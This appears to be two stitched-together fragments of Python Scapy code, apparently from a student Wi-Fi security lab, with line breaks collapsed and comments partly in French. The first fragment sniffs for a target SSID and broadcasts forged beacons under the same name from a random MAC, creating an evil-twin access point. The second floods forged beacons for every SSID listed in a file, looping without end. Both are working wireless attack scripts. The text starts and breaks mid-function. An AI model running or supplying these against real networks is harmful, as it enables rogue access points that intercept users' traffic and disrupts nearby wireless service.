print("You are going to attack : " + pkt.info.decode()) print("In progress...") # Permet d'analyser les paquets, le timeout est arbitraire sniff(iface=args.interface, prn=packethandler, timeout=10) #Si la liste n'est pas vide on crée un fake AP avec le même SSID if len(ssid_list) != 0: # Une nouvelle adresse MAC aléatoire sender_mac = RandMAC() # Même nom pour le nouveau SSID ssid = args.SSID # Trame 802.11 dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=sender_mac, addr3=sender_mac) beacon = Dot11Beacon(cap="ESS+privacy") # On ajoute le SSID à la trame essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid)) # On crée une trame wifi avec la nouvelle configuration frame = RadioTap() / dot11 / beacon / essid # Envoie la trame chaque 100 millisecondes sendp(frame, inter=0.1, iface=args.interface, loop=1) #Si aucun SSID n'est trouvé, on quitte le programme else: print("No SSID " + args.SSID + " Found") sys.exit()
letters = string.ascii_lowercase digits = string.digits return ''.join(random.choices(letters + digits, k=length)) # Generate random MAC address for source and access point MAC address randAddr2 = randMac() randAddr3 = randMac() # inspiring from here : https://www.geeksforgeeks.org/read-a-file-line-by-line-in-python/ # if the file exists in the same path of this script if os.path.isfile(filename): fileSSID = open('ssid.txt', 'r') # open this file in read mode lines = fileSSID.readlines() # read all lines # for every line for line in lines: # display fake SSID in line, forge a 802.11 beacon frame with fake SSID and random MAC addresses print("SSID : {}".format(line.strip())) dot11 = Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2=randAddr2, addr3=randAddr3) beacon = Dot11Beacon() essid = Dot11Elt(ID='SSID', info=line, len=len(line)) frame = RadioTap() / dot11 / beacon / essid # send the forged beacon frame 10000 times on the specified interface while True: sendp(frame, count=10000, iface=interface, verbose=1)